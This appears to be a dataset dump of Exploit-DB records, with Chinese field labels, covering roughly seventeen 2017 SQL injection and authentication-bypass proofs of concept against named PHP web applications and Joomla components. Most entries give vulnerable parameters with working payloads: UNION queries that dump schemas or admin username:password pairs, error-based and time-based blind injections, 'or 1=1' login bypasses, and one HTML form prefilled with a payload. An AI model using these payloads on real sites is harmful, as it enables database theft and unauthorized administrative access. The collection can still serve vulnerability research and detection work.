QLWD/code_shield huggingface dataset:
标题: Joomla! Component Zh YandexMap 6.1.1.0 - 'placemarklistid' SQL Injection EDB-ID: 43093 CVE: 2017-15966 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Joomla! Component Zh YandexMap 6.1.1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://zhuk.cc/
# Software Link: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/zh-yandexmap/
# Demo: http://joomla.zhuk.cc/index.php
# Version: 6.1.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15966
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#  
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=[SQL]
# 
# Parameter: placemarklistid (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
#     Payload: option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=-8164) OR 5013=5013#
# 
#     Type: error-based
#     Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
#     Payload: option=com_zhyandexmap&view=zhyandexmap&tmpl=component&id=3&placemarklistid=-1660) OR 1 GROUP BY CONCAT(0x71627a7871,(SELECT (CASE WHEN (6691=6691) THEN 1 ELSE 0 END)),0x716b7a7671,FLOOR(RAND(0)*2)) HAVING MIN(0)#
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43093
标题: Adult Script Pro 2.2.4 - SQL Injection EDB-ID: 43100 CVE: 2017-15959 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Adult Script Pro 2.2.4 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.adultscriptpro.com/
# Software Link: http://www.adultscriptpro.com/order.html
# Demo: http://www.adultscriptpro.com/demo.html
# Version: 2.2.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15959
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/download/[SQL]
# 
# VerAyari+aNd(SELeCT+1+FroM(SeLECT+CoUNT(*),CoNCat((SeLECT+(SELECT+CoNCat(CaST(VERSIoN()+aS+ChaR),0x7e,0x496873616E53656e63616e))+FroM+INFoRMaTIoN_SChEMa.TaBLES+LIMIT+0,1),FLooR(RaNd(0)*2))x+FroM+INFoRMaTIoN_SChEMa.TaBLES+GRoUP+BY+x)a)
# 
# Parameter: #1* (URI)
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: http://localhost/[PATH]/download/Verayari AND (SELECT 4247 FROM(SELECT COUNT(*),CONCAT(0x716a717a71,(SELECT (ELT(4247=4247,1))),0x717a707071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43100
标题: iProject Management System 1.0 - 'ID' SQL Injection EDB-ID: 43098 CVE: 2017-15961 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: iProject Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://ikodes.com/
# Software Link: https://codecanyon.net/item/iproject-management-system/20483358
# Demo: http://project.ikodes.com/ikpms/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15961
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?cmd=agent&mod=true&ID=[SQL]
# http://localhost/[PATH]/index.php?cmd=client_master&mod=true&ID=[SQL]
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43098
标题: iTech Gigs Script 1.21 - SQL Injection EDB-ID: 43096 CVE: 2017-15963 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: iTech Gigs Script 1.21 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://itechscripts.com/
# Software Link: http://itechscripts.com/the-gigs-script/
# Demo: http://gigs.itechscripts.com/
# Version: 1.21
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15963
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/browse-scategory.php?sc=[SQL]
# 
# -12c4ca4238a0b923820dcc509a6f75849b'++/*!08888UNIoN*/(/*!08888SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,(/*!08888SElEct*/+Export_sEt(5,@:=0,(/*!08888sElEct*/+count(*)/*!08888from*/(information_schEma.columns)whErE@:=Export_sEt(5,Export_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888column_namE*/,0xa3a,2)),@,2)),0x283829,0x283929,0x28313029)--+-
# 
# http://localhost/[PATH]/service-provider.php?ser=[SQL]
# 
# -9553'++/*!50000UNION*/+/*!50000SELECT*/+1,2,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-
# 
# Parameter: sc (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: sc=12c4ca4238a0b923820dcc509a6f75849b' AND 5747=5747 AND 'tzJH'='tzJH
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 10 columns
#     Payload: sc=-5921' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x74624c4f7167546e4676635467647269456244634147776d584b77796e4870674661646a7a44485a,0x717a6a7a71),NULL,NULL,NULL-- bjaB
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43096
标题: Mailing List Manager Pro 3.0 - SQL Injection EDB-ID: 43092 CVE: 2017-15967 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Mailing List Manager Pro 3.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.vote-pro.com/
# Software Link: http://www.mailing-manager.com/demo.html
# Demo: http://www.mailing-manager.com/demo-gold/
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15967
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/users/?sort=login&edit=[SQL]
# 
# -2'++/*!03333UNION*/(/*!03333SELECT*/0x283129,0x283229,0x283329,/*!03333CONCAT_WS*/(0x203a20,USER()),0x283529,/*!03333CONCAT_WS*/(0x203a20,DATABASE()),/*!03333CONCAT_WS*/(0x203a20,VERSION()),0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429)--+-
# 
# http://localhost/[PATH]/admin/template/?edit=[SQL]
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43092
标题: Joomla! Component NS Download Shop 2.2.6 - 'id' SQL Injection EDB-ID: 43094 CVE: 2017-15965 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Joomla! Component NS Download Shop 2.2.6 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: https://nswd.co/
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/paid-downloads/ns-downloadshop/
# Demo: https://ds.nswd.co/
# Version: 2.2.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15965
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#  
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_ns_downloadshop&task=invoice.create&id=[SQL]
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: MySQL >= 5.0 boolean-based blind - Parameter replace
#     Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT (CASE WHEN (5078=5078) THEN 5078 ELSE 5078*(SELECT 5078 FROM INFORMATION_SCHEMA.PLUGINS) END))
# 
#     Type: error-based
#     Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
#     Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x716b626a71,(SELECT (ELT(2458=2458,1))),0x7178627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
#  
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43094
标题: Same Sex Dating Software Pro 1.0 - SQL Injection EDB-ID: 43088 CVE: 2017-15971 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Same Sex Dating Software Pro 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.softdatepro.com/
# Software Link: https://codecanyon.net/item/same-date-pro-same-sex-dating-software/4530959
# Demo: http://www.ss.softdatepro.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15971
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
#  
# Proof of Concept:
# 
# http://localhost/[PATH]/viewprofile.php?profid=[SQL]
# http://localhost/[PATH]/viewmessage.php?sender_id=[SQL]
# 
# -263'++/*!08888UNION*/+/*!08888ALL*/+/*!08888SELECT*/+0x31,0x32,(/*!08888SElEct*/+ExpOrt_sEt(5,@:=0,(/*!08888sElEct*/+cOunt(*)/*!08888frOm*/(infOrmatiOn_schEma.cOlumns)whErE@:=ExpOrt_sEt(5,ExpOrt_sEt(5,@,/*!08888tablE_namE*/,0x3c6c693E,2),/*!08888cOlumn_namE*/,0xa3a,2)),@,2)),0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136--+-
# 
# http://localhost/[PATH]/admin
# 
# Email: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43088
标题: tPanel 2009 - Authentication Bypass EDB-ID: 43085 CVE: 2017-15974 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: tPanel 2009 - Authentication Bypass 
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.datacomponents.net/
# Software Link: http://www.datacomponents.net/products/hosting/tpanel/
# Demo: http://demo.datacomponents.net/tpanel/
# Version: 2009
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15974
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 
# http://localhost/[PATH]/login.php
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43085
标题: Sokial Social Network Script 1.0 - SQL Injection EDB-ID: 43086 CVE: 2017-15973 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Sokial Social Network Script 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.sokial.net/
# Software http://www.sokial.net/demonstrations-social-network.sk
# Demo: http://demo.sokial.net/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15973
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/members_view.php?id=[SQL]
# 
# 2271+aND(/*!00033SelEcT*/+0x30783331+/*!00033frOM*/+(/*!00033SelEcT*/+cOUNT(*),/*!00033cOnCaT*/((/*!00033sELECT*/(/*!00033sELECT*/+/*!00033cOnCaT*/(cAST(dATABASE()+aS+/*!00033cHAR*/),0x7e,0x496873616E53656e63616e))+/*!00033FRoM*/+iNFORMATION_sCHEMA.tABLES+/*!00033wHERE*/+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(/*!00033rAND*/(0)*2))x+/*!00033FRoM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!00033aNd*/+1=1
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: id=2271 RLIKE (SELECT (CASE WHEN (8371=8371) THEN 2271 ELSE 0x28 END))
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: id=2271 AND (SELECT 9357 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (ELT(9357=9357,1))),0x717a6b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 
#     Type: stacked queries
#     Title: MySQL > 5.0.11 stacked queries (comment)
#     Payload: id=2271;SELECT SLEEP(5)#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: id=2271 OR SLEEP(5)
#  
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43086
标题: AROX School ERP PHP Script - 'id' SQL Injection EDB-ID: 43081 CVE: 2017-15978 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: AROX School ERP PHP Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://arox.in/
# Software Link: https://www.codester.com/items/4908/arox-school-erp-php-script
# Demo: http://erp1.arox.in/
# Version: CVE-2017-15978
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/office_admin/?pid=95&action=print_charactercertificate&id=[SQL]
# http://localhost/[PATH]/office_admin/?pid=95&action=edit&id=3[SQL]
# 
# Parameter: id (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: pid=95&action=print_charactercertificate&id=3 AND SLEEP(5)
# 
# Parameter: id (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: pid=95&action=edit&id=3 AND SLEEP(5)
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43081
标题: News 1.0 - SQL Injection EDB-ID: 43077 CVE: 2017-15982 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: News Magazine & Blog CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://geniusocean.com/
# Software Link: https://codecanyon.net/item/news-dynamic-newspaper-magazine-and-blog-cms-script/19656143
# Demo: http://demo.geniusocean.com/news/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15982
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin_process.php?act=vdoeditform&id=[SQL]
# 
# -1'++/*!50000UNION*/+/*!50000SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),VersiON(),0x34,0x35,0x36--+-
# 
# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL]
# 
# -1'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022From*/+admin--+-
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43077
标题: Vastal I-Tech Dating Zone 0.9.9 - 'product_id' SQL Injection EDB-ID: 43084 CVE: 2017-15975 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Vastal I-Tech Dating Zone 0.9.9 - 'product_id' Parameter SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://vastal.com/
# Software http://vastal.com/dating-zone-the-dating-software.html
# Demo: http://datingzone.vastal.com/demo/
# Version: 0.9.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15975
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/add_to_cart.php?product_id=[SQL]
# 
# Parameter: product_id (GET)
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: product_id=3 AND (SELECT 5917 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (ELT(5917=5917,1))),0x71716b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: product_id=3 AND SLEEP(5)
#  
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43084
标题: Basic B2B Script - SQL Injection EDB-ID: 43074 CVE: 2017-15985 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Basic B2B Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/nC3F4570353/php-scripts/basic-b2b-script
# Demo: http://readymadeb2bscript.com/product/entrepreneur/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15985
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/product_view1.php?pid=[SQL]
# 
# -19'++/*!03333UNION*/+/*!03333SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,(/*!03333Select*/+export_set(5,@:=0,(/*!03333select*/+count(*)/*!03333from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!03333table_name*/,0x3c6c693e,2),/*!03333column_name*/,0xa3a,2)),@,2)),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--+-
# 
# http://localhost/[PATH]/productcompanyinfo.php?id=[SQL]
# 
# 
# Parameter: pid (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: pid=19' AND SLEEP(5) AND 'zgOs'='zgOs
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: id=309' AND 2824=2824 AND 'AWCd'='AWCd
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: id=309' AND SLEEP(5) AND 'BTCw'='BTCw
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43074
标题: Protected Links - SQL Injection EDB-ID: 43082 CVE: 2017-15977 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: <!--
# # # # # 
# Exploit Title: Protected Links - Expiring Download Links - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://sixthlife.net/
# Software Link: https://codecanyon.net/item/protected-links-expiring-download-links/2556861
# Demo: http://protectedlinks.net/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15977
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
-->
<form name="login" method="post" action="http://localhost/[PATH]/index.php">
<div id="login">
<table width="200" border="0">
<tr>
<td height="45"><p>Username</p></td>
<td><label for="textfield"></label>
<input type="text" name="username" id="textfield" value="' UNION ALL SELECT 1,CONCAT(VERSiON(),0x494853414e2053454e43414e),3,4,CONCAT(0x494853414e2053454e43414e)-- Ver Ayari"/></td>
</tr>
<tr>
<td height="45">Password</td>
<td><label for="textfield"></label>
<input type="password" name="password" id="textfield" value="Ver Ayari"/></td>
</tr>
</table>
</div>
<input type="submit" name="submit" value="LOGIN" />
</form> URL: https://www.exploit-db.com/exploits/43082
标题: CmsLite 1.4 - 'S' SQL Injection EDB-ID: 43075 CVE: 2017-15984 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Creative Management System - CMS Lite 1.4 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://bekirk.co.uk/
# Software Link: https://codecanyon.net/item/creative-management-system-cms-lite/15297597
# Demo: http://demo.bekirk.co.uk/
# Version: 1.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15984
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?S=[SQL]
# 
# '+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x3a,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()))),0)--+-
# 
# Parameter: S (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: S=BeDark' AND 7998=7998 AND 'QNRN'='QNRN
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: S=BeDark' AND SLEEP(5) AND 'DmYc'='DmYc
#  
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43075
标题: Shareet - 'photo' SQL Injection EDB-ID: 43080 CVE: 2017-15979 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Shareet - Photo Sharing Social Network - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: https://odallated.com/
# Software Link: https://www.codester.com/items/4910/shareet-photo-sharing-social-network
# Demo: https://odallated.com/shareet/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15979
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/?photo=[SQL]
# 
# Parameter: photo (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: photo=saSihSiRf1E' AND SLEEP(5) AND 'DUqs'='DUqs
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43080
标题: Newspaper 1.0 - SQL Injection EDB-ID: 43078 CVE: 2017-15981 类型: WEBAPPS 平台: PHP 发布日期: 2017-10-30 漏洞利用脚本: # # # # # 
# Exploit Title: Newspaper Magazine & Blog CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://geniusocean.com/
# Software Link: https://codecanyon.net/item/mymagazine-fully-responsive-magazine-cms/19493325
# Demo: http://demo.geniusocean.com/newspaper/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15981
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/admin_process.php?act=editpollform&id=[SQL]
# 
# -2'++/*!00022UNION*/+/*!00022SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x33,0x34,0x35,VerSiOn(),dAtAbAsE(),0x38,0x39,0x3130,0x3131,0x3132--+-
# 
# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL]
# 
# -2'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022from*/+admin--+-
# 
# Etc..
# # # # # URL: https://www.exploit-db.com/exploits/43078